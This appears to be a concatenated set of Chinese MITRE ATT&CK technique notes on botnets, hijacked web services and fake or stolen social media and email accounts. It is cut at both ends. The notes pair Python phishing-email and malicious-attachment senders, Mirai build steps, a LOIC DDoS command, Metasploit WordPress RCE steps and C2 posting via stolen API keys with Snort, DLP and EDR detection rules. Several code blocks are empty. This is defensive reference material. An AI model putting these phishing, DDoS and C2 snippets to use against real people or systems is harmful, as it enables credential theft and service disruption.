MIMEText msg = MIMEText("Click here: http://malicious.com") msg['Subject'] = 'Urgent: Account Verification' msg['From'] = 'attacker@malicious.com' msg['To'] = 'victim@target.com' with smtplib.SMTP('smtp.malicious.com') as server: server.login('user', 'pass') server.send_message(msg) ``` - **案例场景**: - 攻击者通过Mirai感染未修补的IoT设备,组建僵尸网络,发起DDoS攻击瘫痪目标网站。 - 使用Emotet感染Windows主机,分发钓鱼邮件,窃取员工凭据。 ## 检测日志 僵尸网络入侵活动多发生在目标组织监测范围之外,难以直接监测。以下是可能的日志来源: - **网络流量日志**: - 检测与已知C2服务器的异常通信,如高频HTTP、IRC或DNS流量。 - **DNS日志**: - 记录解析到C2服务器的异常域名查询。 - **邮件服务器日志**: - 监控大规模钓鱼邮件,可能由僵尸网络分发。 - **端点日志**: - 记录受感染主机的异常行为,如未知进程、持久化机制或网络连接。 - **防火墙/IDS日志**: - 检测DDoS攻击的高流量模式或异常C2通信。 ## 测试复现 以下是在受控授权环境中模拟僵尸网络入侵的步骤: 1. **环境准备**: - 搭建测试环境,包括虚拟机(模拟受感染主机)和C2服务器(如AWS EC2)。 - 配置测试主机,模拟弱点(如未修补的系统或默认凭据)。 2. **恶意软件传播**: - 使用Mirai感染测试主机: ```bash git clone https://github.com/jgamblin/Mirai-Source-Code cd Mirai-Source-Code ./build.sh # 部署到测试主机 ./mirai -s ``` - 发送钓鱼邮件分发恶意附件: ```python import smtplib from email.mime.text import MIMEText from email.mime.multipart import MIMEMultipart from email.mime.base import MIMEBase from email import encoders msg = MIMEMultipart() msg['Subject'] = 'Urgent: Invoice Update' msg['From'] = 'attacker@malicious.com' msg['To'] = 'victim@test.com' part = MIMEBase('application', 'octet-stream') part.set_payload(open('test_malware.exe', 'rb').read()) encoders.encode_base64(part) part.add_header('Content-Disposition', 'attachment; filename="invoice.exe"') msg.attach(part) with smtplib.SMTP('smtp.malicious.com') as server: server.login('user', 'pass') server.send_message(msg) ``` 3. **C2服务器配置**: - 部署简单的IRC C2服务器: ```bash sudo apt install inspircd inspircd --config /etc/inspircd/inspircd.conf ``` 4. **测试执行**: - 模拟DDoS攻击: ```bash loic http://test-target.com -method HTTP -threads 100 ``` - 模拟钓鱼分发: ```python import smtplib from email.mime.text import MIMEText msg = MIMEText("Click here: http://test-malicious.com") msg['Subject'] = 'Urgent: Account Verification' msg['From'] = 'attacker@malicious.com' msg['To'] = 'victim@test.com' with smtplib.SMTP('smtp.malicious.com') as server: server.login('user', 'pass') server.send_message(msg) ``` 5. **结果分析**: - 验证DDoS攻击效果或钓鱼邮件分发成功率。 6. **日志收集**: - 收集DNS、网络流量、邮件和端点日志,分析僵尸网络活动痕迹。 ## 测试留痕 僵尸网络入侵可能留下以下痕迹: - **端点日志**:受感染主机的异常进程、文件修改或网络连接。 - **网络流量**:高频HTTP、IRC或DNS流量,或与C2服务器的通信。 - **DNS查询**:解析到C2服务器的异常域名。 - **邮件服务器日志**:大规模钓鱼邮件的发送记录。 - **防火墙/IDS告警**:触发C2、DDoS或恶意软件相关的检测规则。 ## 检测规则/思路 由于僵尸网络入侵多发生在目标组织视野之外,检测需结合多种手段: - **网络流量监控**: - 检测与C2服务器的异常通信,关注HTTP、IRC或DNS流量。 - 示例Snort规则: ```snort alert tcp $HOME_NET any -> $EXTERNAL_NET any (msg:"Suspicious C2 Traffic"; content:"irc"; sid:1000001;) ``` - **DNS监控**: - 检测解析到C2服务器的异常域名。 - 示例DNS防火墙规则: ```plaintext Rule: Detect Suspicious C2 Domains Condition: DNS query resolves to Action: Alert ``` - **邮件监控**: - 使用DLP工具检测大规模钓鱼邮件。 - 示例DLP规则: ```plaintext Rule: Detect Phishing Emails Condition: Email contains "http" AND NOT "target.com" Action: Alert ``` - **端点监控**: - 使用EDR工具(如CrowdStrike、Carbon Black)检测受感染主机的异常行为,如未知进程或C2连接。 - 示例EDR规则: ```plaintext Rule: Detect Suspicious Process Condition: Process connects to Action: Alert ``` - **威胁情报整合**: - 结合威胁情报平台(如微步在线、奇安信),识别已知的C2服务器IP或域名。 - **日志关联**: - 使用SIEM(如Splunk、ELK)关联DNS、网络和端点日志,检测僵尸网络活动模式。 ## 建议 - **减少暴露面**: - 定期修补系统漏洞,防止主机被恶意软件感染。 - 限制员工访问可疑网站或下载未知附件。 - **安全加固**: - 配置防火墙限制与已知C2服务器的通信。 - 实施MFA保护员工账户,防止凭据被钓鱼窃取。 - 使用WAF保护Web服务,拦截DDoS或钓鱼流量。 - **主动监控与响应**: - 部署SIEM工具(如Splunk、ELK),分析异常DNS或网络流量。 - 使用威胁狩猎(Threat Hunting)技术,主动搜索可能的僵尸网络活动。 - **后续阶段检测**: - 重点监控攻击者生命周期的后续阶段(如命令与控制T1102、钓鱼T1566、DDoS T1498),通过异常流量或行为间接发现僵尸网络活动。 ## 参考资料 - MITRE ATT&CK: T1584-005 ================================================ FILE: Windows/02资源开发/T1584.006-入侵基础设施-web服务.md ================================================ # T1584-006-入侵基础设施-web服务 ## 描述 在入侵目标组织之前,攻击者可能通过劫持第三方Web服务来支持目标定位和攻击执行。Web服务包括社交媒体平台(如Twitter、Facebook)、云存储服务(如Google Drive、Dropbox)、代码托管平台(如GitHub、GitLab)以及内容管理系统(如WordPress)。攻击者通过窃取合法用户的账户凭据或利用Web服务的漏洞,获取对这些服务的控制权,并将其用作攻击基础设施。这些服务可能在攻击生命周期的后期阶段被滥用,例如用于命令与控制(C2)(T1102)、数据泄露(T1567)或钓鱼(T1566)。由于Web服务的高普及性和信任度,攻击者可以利用其正常流量掩盖恶意活动,增加被追踪的难度。 攻击者可能通过以下方式入侵Web服务: - **凭据窃取**:通过钓鱼、凭据填充或恶意软件获取合法用户的账户凭据。 - **漏洞利用**:利用Web服务平台的漏洞(如WordPress插件漏洞)获得控制权。 - **社会工程**:通过伪装身份攻击Web服务提供商的客户支持,获取账户访问权限。 - **API滥用**:利用窃取的API密钥,通过Web服务API执行恶意操作。 - **接管现有资源**:控制被遗弃或未保护的Web服务资源(如未续费的GitHub Pages站点)。 入侵的Web服务可用于托管钓鱼页面、分发恶意软件、传输C2指令或存储窃取数据,其隐蔽性使其成为攻击者的理想选择。 ## 测试案例 以下是模拟攻击者入侵Web服务的常见方法和案例: - **凭据窃取**: - 通过钓鱼邮件获取GitHub账户凭据,控制GitHub Pages站点。 ```python import smtplib from email.mime.text import MIMEText msg = MIMEText("Reset your GitHub password: http://fake-github.com/reset") msg['Subject'] = 'Urgent: GitHub Account Security' msg['From'] = 'support@fake-github.com' msg['To'] = 'user@target.com' with smtplib.SMTP('smtp.attacker.com') as server: server.login('user', 'pass') server.send_message(msg) ``` - **WordPress漏洞利用**: - 利用WordPress插件漏洞(如WP File Manager CVE-2020-25213)执行远程代码,控制站点。 ```bash # 使用Metasploit攻击WordPress漏洞 msfconsole use exploit/multi/http/wp_file_manager_rce set RHOST exploit ``` - **API滥用**: - 使用窃取的Twitter API密钥发送C2指令。 ```python import tweepy auth = tweepy.OAuthHandler("stolen_consumer_key", "stolen_consumer_secret") auth.set_access_token("stolen_access_token", "stolen_access_token_secret") api = tweepy.API(auth) api.update_status("encoded_C2_command:execute_payload") ``` - **接管遗弃资源**: - 控制未续费的Google Sites页面,托管钓鱼页面。 ```html TargetCorp Login
``` - **案例场景**: - 攻击者入侵受感染的WordPress站点,部署C2后门,用于与受感染主机通信(参考Turla组织的行为)。 - 通过窃取Google Drive账户凭据,上传恶意文件并生成共享链接,分发给目标用户。 - 攻击者利用GitHub账户凭据,在GitHub Pages上托管伪装的登录页面,窃取员工凭据。 ## 检测日志 Web服务入侵活动多发生在目标组织监测范围之外,难以直接监测。以下是可能的日志来源: - **网络流量日志**: - 检测与Web服务(如Twitter API、Google Drive)的异常通信或API调用。 - **DNS日志**: - 记录解析到Web服务IP的异常域名查询,可能与C2或钓鱼相关。 - **邮件服务器日志**: - 监控针对Web服务账户的钓鱼邮件。 - **端点日志**: - 记录访问Web服务托管的恶意页面或下载可疑文件的活动。 - **Web服务日志**: - 监控账户的异常登录、内容修改或API使用(需Web服务提供商支持)。 ## 测试复现 以下是在受控授权环境中模拟Web服务入侵的步骤: 1. **环境准备**: - 注册测试账户(如GitHub、WordPress、Google Drive),准备测试环境。 - 搭建本地WordPress实例,模拟弱配置(如未更新的插件)。 2. **凭据窃取模拟**: - 发送伪装的钓鱼邮件,诱导用户泄露GitHub凭据: ```python import smtplib from email.mime.text import MIMEText msg = MIMEText("Reset your GitHub password: http://fake-github.com/reset") msg['Subject'] = 'Urgent: GitHub Account Security' msg['From'] = 'support@fake-github.com' msg['To'] = 'user@test.com' with smtplib.SMTP('smtp.attacker.com') as server: server.login('user', 'pass') server.send_message(msg) ``` 3. **漏洞利用模拟**: - 攻击WordPress插件漏洞: ```bash msfconsole use exploit/multi/http/wp_file_manager_rce set RHOST exploit ``` - 在受损WordPress站点上部署C2后门: ```php ``` 4. **API滥用模拟**: - 使用窃取的Twitter API密钥发送C2指令: ```python import tweepy auth = tweepy.OAuthHandler("stolen_consumer_key", "stolen_consumer_secret") auth.set_access_token("stolen_access_token", "stolen_access_token_secret") api = tweepy.API(auth) api.update_status("test_C2_command:execute_payload") ``` 5. **结果分析**: - 验证C2通道、钓鱼页面或恶意文件分发是否正常运行。 6. **日志收集**: - 收集DNS、网络流量、邮件和端点日志,分析Web服务入侵痕迹。 ## 测试留痕 Web服务入侵可能留下以下痕迹: - **网络流量**:与Web服务API端点的异常HTTP/HTTPS通信。 - **DNS查询**:解析到Web服务(如github.io、drive.google.com)的异常域名。 - **邮件服务器日志**:针对Web服务账户的钓鱼邮件。 - **端点日志**:访问Web服务托管的恶意页面或下载可疑文件的记录。 - **Web服务日志**:异常的账户登录、内容修改或API调用(需服务提供商支持)。 ## 检测规则/思路 由于Web服务入侵多发生在目标组织视野之外,检测需结合多种手段: - **网络流量监控**: - 检测与Web服务(如Twitter API、Google Drive)的异常通信,关注高频API调用或可疑流量模式。 - 示例Snort规则: ```snort alert tcp $HOME_NET any -> $EXTERNAL_NET $HTTP_PORTS (msg:"Suspicious Web Service Traffic"; content:"api.twitter.com"; sid:1000001;) ``` - **DNS监控**: - 检测解析到Web服务IP的异常域名,重点关注github.io、drive.google.com等。 - 示例DNS防火墙规则: ```plaintext Rule: Detect Suspicious Web Service Domains Condition: DNS query resolves to github.io OR drive.google.com Action: Alert ``` - **邮件监控**: - 使用DLP工具检测针对Web服务账户的钓鱼邮件。 - 示例DLP规则: ```plaintext Rule: Detect Phishing Links to Web Services Condition: Email contains "http" AND "github.com" Action: Alert ``` - **端点监控**: - 使用EDR工具(如CrowdStrike、Carbon Black)检测访问Web服务托管的恶意页面或下载可疑文件的活动。 - 示例EDR规则: ```plaintext Rule: Detect Suspicious Web Service Access Condition: Process connects to github.io AND NOT authorized Action: Alert ``` - **威胁情报整合**: - 结合威胁情报平台(如微步在线、奇安信),识别已知的恶意Web服务URL或IP。 - **日志关联**: - 使用SIEM(如Splunk、ELK)关联DNS、网络和端点日志,检测Web服务入侵或恶意使用。 ## 建议 - **减少暴露面**: - 定期审计Web服务账户,移除不必要的权限或未使用的资源。 - 使用强密码和MFA保护Web服务账户。 - **安全加固**: - 及时更新Web服务平台(如WordPress插件)以修补漏洞。 - 配置Web服务的访问控制,限制API密钥的使用范围。 - 使用WAF保护托管内容,拦截异常流量。 - **主动监控与响应**: - 部署SIEM工具(如Splunk、ELK),分析与Web服务相关的异常流量模式。 - 使用威胁狩猎(Threat Hunting)技术,主动搜索可能的Web服务入侵。 - **后续阶段检测**: - 重点监控攻击者生命周期的后续阶段(如命令与控制T1102、钓鱼T1566、数据泄露T1567),通过异常流量或行为间接发现Web服务入侵。 ## 参考资料 - MITRE ATT&CK: T1584-006 - Lazarus Group 利用新旧恶意软件发展其感染链 ================================================ FILE: Windows/02资源开发/T1585.001-创建账户-社交媒体账户.md ================================================ # T1585-001-创建账户-社交媒体账户 ## 描述 在入侵目标组织之前,攻击者可能创建社交媒体账户以支持目标定位和攻击执行。这些账户通常在平台如Twitter、Boss直聘、微信、QQ或TikTok上注册,用于构建虚假或冒充的角色(Persona)以增强社会工程攻击的可信度。攻击者通过以下方式发展角色: - 填写详细的个人资料,包括虚假的姓名、职业、照片和背景信息。 - 建立社交网络,通过添加好友、关注或互动模拟真实用户行为。 - 跨多个平台创建一致的角色,增加可信度。 - 使用伪造的文档或照片(如通过AI生成的面部图像)增强角色的真实性。 这些社交媒体账户可用于多种恶意活动,包括: - **信息收集**:通过公开信息或直接互动获取目标组织或个人的情报。 - **鱼叉式钓鱼**:利用角色发送定制化的钓鱼消息(如LinkedIn私信)。 - **信任建立**:与目标建立连接,诱导其泄露敏感信息或点击恶意链接。 - **基础设施支持**:配合其他攻击阶段,如命令与控制(T1102)或钓鱼(T1566)。 攻击者可能使用临时邮箱或匿名服务注册账户,以降低被追踪的风险。社交媒体账户的隐蔽性和高信任度使其成为社会工程攻击的理想工具。 ## 测试案例 以下是模拟攻击者创建和使用社交媒体账户的常见方法和案例: - **创建虚假账户**: - 在LinkedIn上注册账户,伪装为目标组织的HR或高管(如“John Smith, HR Manager at TargetCorp”)。 ```bash # 伪代码:通过API或浏览器自动化注册 curl -X POST "https://api.linkedin.com/v2/signup" \ -d "email=temp123@tempmail.com&name=John+Smith&title=HR+Manager" ``` - **角色发展**: - 上传AI生成的头像(使用工具如ThisPersonDoesNotExist),填写虚假教育背景和工作经历。 - 添加多个无关账户为好友,模拟活跃社交网络。 ```bash # 伪代码:通过LinkedIn API添加连接 curl -X POST "https://api.linkedin.com/v2/connections" \ -H "Authorization: Bearer " \ -d "user_id=target_user_id" ``` - **鱼叉式钓鱼**: - 使用LinkedIn私信发送伪装的招聘信息,诱导目标点击恶意链接。 ```python import requests headers = {"Authorization": "Bearer "} payload = { "recipient": "urn:li:person:", "message": "Hi, we're hiring at TargetCorp! Please review: http://fake-targetcorp.com/job" } requests.post("https://api.linkedin.com/v2/messages", headers=headers, json=payload) ``` - **跨平台角色一致性**: - 在Twitter和Facebook上创建同名账户,发布与LinkedIn角色一致的内容。 ```python import tweepy auth = tweepy.OAuthHandler("consumer_key", "consumer_secret") auth.set_access_token("access_token", "access_token_secret") api = tweepy.API(auth) api.update_status("Excited to join TargetCorp as HR Manager! #NewJob") ``` - **案例场景**: - 攻击者在LinkedIn上创建伪装为“TargetCorp HR”的账户,通过私信向员工发送伪造的绩效评估链接,窃取凭据。 - 在Twitter上冒充目标组织高管,发布虚假公告,诱导用户访问恶意网站。 ## 检测日志 社交媒体账户创建活动通常发生在目标组织监测范围之外,难以直接监测。以下是可能的日志来源: - **邮件服务器日志**: - 检测与社交媒体账户关联的钓鱼邮件或私信。 - **网络流量日志**: - 识别与社交媒体平台(如api.linkedin.com、api.twitter.com)的异常API调用或钓鱼链接访问。 - **端点日志**: - 记录访问由社交媒体账户分发的恶意链接的行为。 - **社交媒体监控日志**: - 检测冒充组织员工或高管的账户(需第三方工具支持,如ZeroFox)。 - **威胁情报日志**: - 关联已知的恶意社交媒体账户或钓鱼活动。 ## 测试复现 以下是在受控授权环境中模拟社交媒体账户创建和使用的步骤: 1. **环境准备**: - 注册测试社交媒体账户(如LinkedIn、Twitter),使用临时邮箱(如Temp-Mail)。 - 准备测试目标账户和钓鱼页面。 2. **账户创建**: - 在LinkedIn注册虚假账户: ```bash # 伪代码:通过API或浏览器自动化 curl -X POST "https://api.linkedin.com/v2/signup" \ -d "email=test123@tempmail.com&name=Test+HR&title=HR+Manager" ``` - 上传虚假头像和背景信息,添加无关账户为好友。 3. **角色发展**: - 在Twitter创建同名账户,发布相关内容: ```python import tweepy auth = tweepy.OAuthHandler("consumer_key", "consumer_secret") auth.set_access_token("access_token", "access_token_secret") api = tweepy.API(auth) api.update_status("Joined TargetCorp as HR! #Career") ``` 4. **鱼叉式钓鱼**: - 发送伪装的LinkedIn私信: ```python import requests headers = {"Authorization": "Bearer "} payload = { "recipient": "urn:li:person:", "message": "Hi, please review our new policy: http://test-phishing.com" } requests.post("https://api.linkedin.com/v2/messages", headers=headers, json=payload) ``` 5. **结果分析**: - 验证钓鱼消息是否成功发送,或目标是否访问恶意链接。 6. **日志收集**: - 收集邮件服务器、网络流量、端点和社交媒体监控日志,分析账户相关活动痕迹。 ## 测试留痕 社交媒体账户相关活动可能留下以下痕迹: - **邮件服务器日志**:来自可疑社交媒体账户的钓鱼邮件或私信记录。 - **网络流量**:与社交媒体API或钓鱼网站的HTTP/HTTPS通信。 - **端点日志**:访问钓鱼链接或下载恶意内容的记录。 - **社交媒体平台日志**:新账户创建、异常连接请求或内容发布(需平台支持)。 - **DNS查询**:解析到钓鱼站点的异常查询。 ## 检测规则/思路 由于社交媒体账户创建多发生在目标组织视野之外,检测需结合多种手段: - **社交媒体监控**: - 使用工具(如ZeroFox、Hootsuite)检测冒充组织员工或高管的账户。 - 示例监控规则: ```plaintext Rule: Detect Impersonating Accounts Condition: Account name contains "TargetCorp" AND NOT verified Action: Alert ``` - **邮件监控**: - 使用DLP工具检测来自社交媒体账户的钓鱼消息。 - 示例DLP规则: ```plaintext Rule: Detect Phishing from Social Media Condition: Email contains "linkedin.com" AND "http" Action: Alert ``` - **网络流量监控**: - 检测与社交媒体API的异常通信或钓鱼链接访问。 - 示例Snort规则: ```snort alert tcp $HOME_NET any -> $EXTERNAL_NET $HTTP_PORTS (msg:"Suspicious Social Media Traffic"; content:"api.linkedin.com"; sid:1000001;) ``` - **端点监控**: - 使用EDR工具(如CrowdStrike、Carbon Black)检测访问钓鱼链接的行为。 - 示例EDR规则: ```plaintext Rule: Detect Phishing Link Access Condition: Process connects to Action: Alert ``` - **威胁情报整合**: - 结合威胁情报平台(如微步在线、奇安信),识别已知的恶意社交媒体账户或钓鱼活动。 - **日志关联**: - 使用SIEM(如Splunk、ELK)关联邮件、网络和端点日志,检测社交媒体账户相关恶意活动。 ## 建议 - **减少暴露面**: - 教育员工识别可疑的社交媒体连接请求或消息,避免泄露敏感信息。 - 限制员工在社交媒体上公开组织相关信息。 - **安全加固**: - 使用强密码和MFA保护员工的社交媒体账户,防止凭据被窃取。 - 配置社交媒体账户的隐私设置,限制公开信息。 - **主动监控与响应**: - 部署社交媒体监控工具(如ZeroFox),检测冒充账户或异常活动。 - 使用Google Alerts或社交媒体搜索监控与组织相关的可疑账户。 - 进行威胁狩猎(Threat Hunting),主动搜索可能的社交媒体钓鱼活动。 - **后续阶段检测**: - 重点监控攻击者生命周期的后续阶段(如钓鱼T1566、命令与控制T1102),通过异常流量或行为间接发现社交媒体账户滥用。 ## 参考资料 - MITRE ATT&CK: T1585-001 ================================================ FILE: Windows/02资源开发/T1585.002-创建账户-电子邮箱账户.md ================================================ # T1583-002-盗取账户-电子邮箱账户 # 描述 在入侵目标组织之前,攻击者可能创建电子邮箱账户以支持目标定位和攻击执行。这些邮箱账户通常从公共邮件服务提供商(如Gmail、Outlook、ProtonMail)或一次性邮件服务(如Temp-Mail、Guerrilla Mail)获取,用于网络钓鱼(T1566)、信息收集或基础设施建立(如域名注册T1583-001)。攻击者可能通过以下方式增强邮箱账户的可信度: - 建立关联的社交媒体账户,构建虚假身份。 - 使用与目标组织相关的命名模式(如`admin@targetcorp.com`变种)以增加欺骗性。 - 配置账户以绕过垃圾邮件过滤器,如通过正常交互模拟合法用户行为。 攻击者偏好使用一次性邮箱或匿名邮件服务以降低被追踪的风险。这些账户在攻击生命周期中可用于初始访问、凭据窃取或后续恶意活动使用。 ## 测试案例 以下是模拟攻击者创建和使用电子邮箱账户的常见方法和案例: - **创建公共邮箱账户**: - 在Gmail或Outlook上注册账户,使用与目标相关的名称(如`support.targetcorp@gmail.com`)。 ```bash # 手动注册示例(伪代码) curl -X POST "https://accounts.google.com/signup" \ -d "username=support.targetcorp&password=StrongPass123" ``` - **使用一次性邮箱**: - 使用Temp-Mail生成临时邮箱(如`random123@tempmail.com`)进行钓鱼。 ```bash # 使用Temp-Mail API获取临时邮箱 curl "https://api.temp-mail.org/request/mail/id/" ``` - **钓鱼邮件分发**: - 使用创建的邮箱发送伪装的登录提示邮件,诱导目标泄露凭据。 ```python import smtplib from email.mime.text import MIMEText msg = MIMEText("Please verify your account: http://fake-targetcorp.com/login") msg['Subject'] = 'Urgent: Account Verification Required' msg['From'] = 'support.targetcorp@gmail.com' msg['To'] = 'victim@target.com' with smtplib.SMTP('smtp.gmail.com', 587) as server: server.starttls() server.login('support.targetcorp@gmail.com', 'password') server.send_message(msg) ``` - **基础设施建立**: - 使用邮箱注册域名以支持钓鱼网站。 ```bash # 使用Namecheap API注册域名(伪代码) curl -X POST "https://api.namecheap.com/xml.response" \ -d "ApiUser=attacker&ApiKey=&Command=namecheap.domains.create&DomainName=fake-targetcorp.com&EmailAddress=attacker@tempmail.com" ``` - **案例场景**: - 攻击者创建`hr@targetcorp-lookalike.com`邮箱,发送钓鱼邮件,诱导员工访问伪装的HR门户,窃取凭据。 - 使用Guerrilla Mail的临时邮箱注册域名,托管恶意网站,分发恶意软件。 ## 检测日志 电子邮箱账户创建活动通常发生在目标组织监测范围之外,难以直接监测。以下是可能的日志来源: - **邮件服务器日志**: - 检测来自可疑邮箱地址的钓鱼邮件。 - **网络流量日志**: - 识别与一次性邮箱服务(如tempmail.com、guerrillamail.com)的异常通信。 - **DNS日志**: - 记录与新注册域名或钓鱼网站相关的异常查询,可能由攻击者邮箱注册。 - **端点日志**: - 记录访问由攻击者邮箱分发的钓鱼链接的行为。 - **威胁情报日志**: - 关联已知的恶意邮箱地址或域名注册记录。 ## 测试复现 以下是在受控授权环境中模拟电子邮箱账户创建和使用的步骤: 1. **环境准备**: - 注册测试邮箱账户(如Gmail、Outlook)或使用一次性邮箱服务(如Temp-Mail)。 - 准备测试目标邮箱地址和钓鱼页面。 2. **邮箱账户创建**: - 手动在Gmail注册账户: ```bash # 伪代码:通过API或浏览器自动化注册 curl -X POST "https://accounts.google.com/signup" \ -d "username=test.attacker&password=StrongPass123" ``` - 使用Temp-Mail获取临时邮箱: ```bash curl "https://api.temp-mail.org/request/mail/id/" ``` 3. **钓鱼邮件分发**: - 发送伪装的钓鱼邮件: ```python import smtplib from email.mime.text import MIMEText msg = MIMEText("Please login: http://test-phishing.com") msg['Subject'] = 'Account Verification' msg['From'] = 'test.attacker@gmail.com' msg['To'] = 'test.victim@target.com' with smtplib.SMTP('smtp.gmail.com', 587) as server: server.starttls() server.login('test.attacker@gmail.com', 'password') server.send_message(msg) ``` 4. **基础设施建立**: - 使用邮箱注册测试域名: ```bash # 伪代码:通过Namecheap注册 curl -X POST "https://api.namecheap.com/xml.response" \ -d "ApiUser=attacker&ApiKey=&Command=namecheap.domains.create&DomainName=test-phishing.com&EmailAddress=test.attacker@tempmail.com" ``` 5. **结果分析**: - 验证钓鱼邮件是否成功发送,或域名是否注册并指向钓鱼页面。 6. **日志收集**: - 收集邮件服务器、网络流量、DNS和端点日志,分析邮箱相关活动痕迹。 ## 测试留痕 电子邮箱账户相关活动可能留下以下痕迹: - **邮件服务器日志**:来自可疑邮箱地址的钓鱼邮件记录。 - **网络流量**:与一次性邮箱服务或钓鱼网站的HTTP/HTTPS通信。 - **DNS查询**:解析到新注册域名或钓鱼站点的异常查询。 - **端点日志**:访问钓鱼链接或下载恶意附件的记录。 - **注册商日志**:使用攻击者邮箱注册的域名记录(需注册商支持)。 ## 检测规则/思路 由于邮箱账户创建多发生在目标组织视野之外,检测需结合多种手段: - **邮件监控**: - 使用DLP工具检测钓鱼邮件,重点关注伪装成合法组织的邮箱地址。 - 示例DLP规则: ```plaintext Rule: Detect Phishing Emails Condition: Email sender contains "targetcorp" AND NOT "@targetcorp.com" Action: Alert ``` - **网络流量监控**: - 检测与一次性邮箱服务(如tempmail.com)的异常通信。 - 示例Snort规则: ```snort alert tcp $HOME_NET any -> $EXTERNAL_NET $HTTP_PORTS (msg:"Suspicious Temp Mail Traffic"; content:"tempmail.com"; sid:1000001;) ``` - **DNS监控**: - 检测解析到新注册或可疑域名的查询。 - 示例DNS防火墙规则: ```plaintext Rule: Detect Suspicious Domain Queries Condition: DNS query resolves to Action: Alert ``` - **端点监控**: - 使用EDR工具(如CrowdStrike、Carbon Black)检测访问钓鱼链接或下载可疑文件的活动。 - 示例EDR规则: ```plaintext Rule: Detect Phishing Link Access Condition: Process connects to Action: Alert ``` - **威胁情报整合**: - 结合威胁情报平台(如微步在线、奇安信),识别已知的恶意邮箱地址或钓鱼域名。 - **日志关联**: - 使用SIEM(如Splunk、ELK)关联邮件、网络和端点日志,检测邮箱相关恶意活动。 ## 建议 - **减少暴露面**: - 教育员工识别钓鱼邮件,避免点击可疑链接或泄露凭据。 - 限制访问一次性邮箱服务,防止员工误用。 - **安全加固**: - 配置邮件过滤器,拦截伪装成合法组织的钓鱼邮件。 - 实施DMARC、SPF和DKIM,验证发件人身份,降低邮箱伪造风险。 - 使用MFA保护员工邮箱账户,防止凭据被窃取。 - **主动监控与响应**: - 部署SIEM工具(如Splunk、ELK),分析异常邮件或网络流量模式。 - 使用威胁狩猎(Threat Hunting)技术,主动搜索可能的钓鱼活动。 - **后续阶段检测**: - 重点监控攻击者生命周期的后续阶段(如钓鱼T1566、命令与控制T1102),通过异常流量或行为间接发现邮箱账户滥用。 ## 参考资料 - MITRE ATT&CK: T1585-002 ================================================ FILE: Windows/02资源开发/T1586.001-盗取账户-社交媒体账户.md ================================================ # T1586-001-盗取账户-社交媒体账户 ## 描述 在入侵受害者之前,攻击者可能通过盗取社交媒体账户来为后续的目标定位操作做准备。社交媒体账户在涉及社会工程学的攻击中尤为重要,因为它们可以建立在线角色以赢得目标的信任。与创建和维护新的社交媒体资料(T1585-001:建立社交媒体账户)相比,攻击者更可能选择盗取现有账户,以利用其已有的关系或信任度。如果目标与被盗账户的角色有既往联系或信任关系,攻击者利用该账户可能显著提高社会工程学的成功率。 盗取账户的方式包括但不限于: - **网络钓鱼**:通过定向钓鱼活动收集用户凭据。 - **购买凭据**:从第三方市场或暗网论坛购买泄露的凭据。 - **凭据填充**:利用之前泄露的凭据进行重用攻击。 - **暴力破解**:通过自动化工具尝试破解账户密码。 在盗取账户之前,攻击者通常会进行侦察,识别与目标相关的具有高价值的账户。这些账户可能是目标的同事、朋友或行业内的关键人物。盗取成功后,攻击者可能进一步完善账户,例如更新个人资料信息、上传照片或扩展社交网络,使其看起来更真实可信。 被盗账户可能存在于单一平台或多个平台(如微信、QQ、LinkedIn、Twitter/X、微博等),并可用于建立与目标的新连接、劫持现有关系或冒充可信实体。这些账户可能在攻击生命周期的其他阶段发挥作用,例如在初始访问阶段通过鱼叉式网络钓鱼(T1566-002:信息收集钓鱼)实施攻击。 ## 测试案例 ### 概述 攻击者可能盗取社交媒体账户,冒充可信人员(如公司财务人员、同事或校友)以欺骗目标,诱导其分享敏感信息或执行特定操作。例如,攻击者可能盗取财务人员的社交媒体账户,向其他员工发送虚假的付款请求或敏感数据索取信息。此外,攻击者可能修改账户信息(如头像、简介或动态)以更逼真地模仿目标信任的联系人,从而提高社会工程学的成功率。 ### 示例场景 一个真实的案例展示了这一技术(参考:[记一次艰难的溯源故事(对不起学长)](https://xz.aliyun.com/t/9582))。攻击者使用一个高等级的QQ小号,将账户资料修改为18岁、2018届某高校计算机专业学生,并从贴吧收集学校相关照片填充QQ空间,增强可信度。攻击者以“咨询就业信息”的学弟身份向目标发送好友请求,利用共同的学校背景建立信任。好友请求通过后,攻击者迅速发起对话,假装咨询职业问题,同时强调自己是开发人员而非网络安全从业者,以降低目标的警惕性。通过这种方式,攻击者成功获取目标信任并提取信息。 此案例表明,攻击者通过利用共同背景(如校友关系或职业关联)可显著提高社会工程学的效果,用于信息收集、钓鱼或其他攻击活动。 ## 检测日志 **挑战**:由于盗取社交媒体账户的行为发生在企业控制范围之外,传统日志(如网络或终端日志)难以直接捕获此类活动。 **潜在指标**: - **行为异常**:账户突然出现异常活动,如发布频率变化、新增大量好友或修改个人资料。 - **可疑交互**:员工报告收到来自熟人账户的异常消息或请求,内容与以往行为不符。 - **钓鱼活动**:通过被盗账户发送的钓鱼邮件或消息,可能通过邮件网关或即时通讯工具检测到。 ## 测试复现 建议组织通过内部红队演练,模拟社会工程学场景,测试员工对可疑账户行为的识别和应对能力。例如,可以创建测试账户模拟异常行为,观察员工是否能识别并报告。 ## 测试留痕 此类技术通常不会在企业内部系统中留下直接痕迹。相关痕迹可能出现在后续攻击阶段,如通过被盗账户发送的钓鱼邮件或恶意链接,可在邮件日志、网络流量或终端安全告警中检测到。 ## 检测规则/思路 ### 检测策略 1. **社交媒体监控**: - 使用第三方工具监控与组织相关的社交媒体活动,检测冒充员工或组织的账户。 - 跟踪异常行为,如账户突然发出大量好友请求或发布与以往不符的内容。 2. **用户行为分析**: - 部署邮件和即时通讯安全解决方案,检测异常的通信模式,如来自新注册或近期修改的账户的敏感请求。 - 对包含财务或敏感数据请求的消息设置自动标记,供人工审查。 3. **跨平台关联**: - 将社交媒体的异常活动与内部安全事件(如钓鱼尝试或未授权访问)进行关联分析。 4. **威胁情报整合**: - 使用威胁情报服务,监控暗网或论坛上出售的被盗凭据,提前发现潜在的账户风险。 ### 工具推荐 - **社交媒体监控**:Hootsuite Insights、Brandwatch、ZeroFox 可用于检测冒充账户或异常活动。 - **邮件安全网关**:Proofpoint、Microsoft Defender 可识别来自被盗账户的钓鱼尝试。 - **SIEM系统**:通过关联外部威胁情报与内部日志,识别潜在的账户盗用模式。 ## 建议 ### 缓解措施 由于此类技术依赖于企业外部平台,难以通过传统防御措施完全阻止。以下措施可降低风险: 1. **员工教育**: - 定期培训员工识别社会工程学手法,如来自熟人账户的异常消息或请求。 - 鼓励通过其他渠道(如电话或面对面)验证可疑请求的真实性。 2. **账户安全**: - 